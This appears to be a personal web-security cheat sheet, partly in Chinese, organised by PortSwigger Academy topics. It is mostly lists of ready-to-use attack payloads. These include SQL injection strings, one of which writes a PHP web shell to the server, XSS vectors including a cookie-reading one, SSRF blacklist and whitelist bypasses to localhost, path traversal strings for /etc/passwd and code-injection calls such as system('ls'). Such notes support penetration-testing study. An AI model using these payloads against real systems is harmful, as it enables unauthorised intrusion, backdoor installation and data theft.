跳至主要内容

Cheat Sheet

SQL Injection​

Cheat Sheet​

https://portswigger.net/web-security/sql-injection/cheat-sheet

Recon​

  • '
  • ' OR 1=1#
  • ' OR '1'='1
  • " OR "1"="1"-- 123
  • " OR "1"="1" LIMIT 1#

UNION Based​

  • ' UNION SELECT NULL#
  • ' UNION SELECT NULL FROM dual--
  • ' UNION SELECT 1, 'string'#
  • ' UNION SELECT '<?php $host = "localhost"; system($_GET["cmd"]); ?>' INTO OUTFILE 'D:/xampp/htdocs/shell.php'

Stacked Queries​

  • ';SELECT 1/name FROM sysobjects WHERE xtype LIKE 'U' AND name BETWEEN 'A' AND 'AZ'

Error Based​

Boolean Based​

  • ' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20) = 'a

Blind​

Bypass Skill​

NoSQL injection​

XSS​

Basic Payloads​

  • <script>alert(1)
  • <script>alert(1)</script>
  • <SCRIpt>alert(1)</scriPT>
  • "/><script>alert(1)</script>
  • <img src=x onerror=alert(1)>
  • javascript:alert(1)
  • 123" autofocus onfocus="alert(0)" data-type="456
  • <di onfocus="alert(document.cookie)" tabindex="0" autofocus></di>
  • ';alert(1);var a = '3
  • <svg><animateTransform onbegin="alert(1)" attributeName="transform" dur="0.1s" /></svg>
  • 'accesskey='x'onclick='alert(1)
  • <svg><a><animate attributeName="href" values="javascript:alert(1)" /><text x=20 y=20>Click me</text></a></svg>
  • (, ), {, } and ; are blocked

AngularJS​

DOM-based vulnerabilities​

Prototype Pollution​

Concept​

Tools​

Recon​

CSRF​

Prerequisite​

  • Simple Request (HTML <form>, <img>, <iframe> 可發出的請求)

Recon​

CORS​

WebSocket​

XXE​

SSRF​

Recon​

  • SSRF to localhost
  • Bypass 黑名單
    • Decimal: http://2130706433
    • Octal: http://017700000001
    • Short form: http://127.1
    • Full URL encoding:http://%31%32%37%2e%30%2e%30%2e%31
    • Hex: http://0x7f.0.0.1
    • Partial URL encoding: http://%3127.0.0.1
  • Bypass 白名單
    • URL Encode Fragment: http://localhost%23@vulnerable-website.com
    • Double URL Encode With username:password: http://localhost:80%2523@vulnerable-website.com
  • SSRF via Open Redirect
  • Flawed Logic via String.startsWith:
    • http://vulnerable-website.com.hackingwithpentesterlab.link
    • https://whatever-hostname.hackingwithpentesterlab.link

Tools​

  • URL Encode All Characters
function encodeSingleStringToURIComponent(str) {
  return "%" + str.charCodeAt(0).toString(16);
}

OS command injection​

Useful commands​

https://portswigger.net/web-security/os-command-injection#useful-commands

Recon​

Server-side template injection​

Code Injection​

  • inject ', ", }, ;, $, #, ;ls;, |ls
  • string concat: ., +
  • comment out: #, //, ;//
  • execute code:
eval('ls')
exec('ls')
system('ls')
`uname`

Deserialization​

Tools​

Recon​

Access control​

API testing​

Business logic vulnerabilities​

GraphQL API​

File upload​

Tools​

Recon​

Web LLM attacks​

Authentication​

OAuth​

JWT​

Tools​

hashcat

Recon​

Path traversal​

  • Basic: ../../../etc/passwd
  • Strip non-recursively
  • URL Encode
    • Partial URL Encode: ..%2F..%2F..%2Fetc%2Fpasswd
    • URL Encode: %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
    • Double URL Encode: %252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
  • Start Path: /var/www/images/../../../etc/passwd
  • Null Byte: ../../../etc/passwd%00.jpg
  • /etc/./passwd
  • /etc/../etc/passwd
  • /etc/../ETC/passwd
  • /pentesterlab;pentesterlab
  • Windows: non-exist-dir/../../../file.txt

Information disclosure​

HTTP Host header attacks​

Web cache poisoning​

Web cache deception​

Race conditions​

HTTP request smuggling​

Note​

Recon​

最後於 更新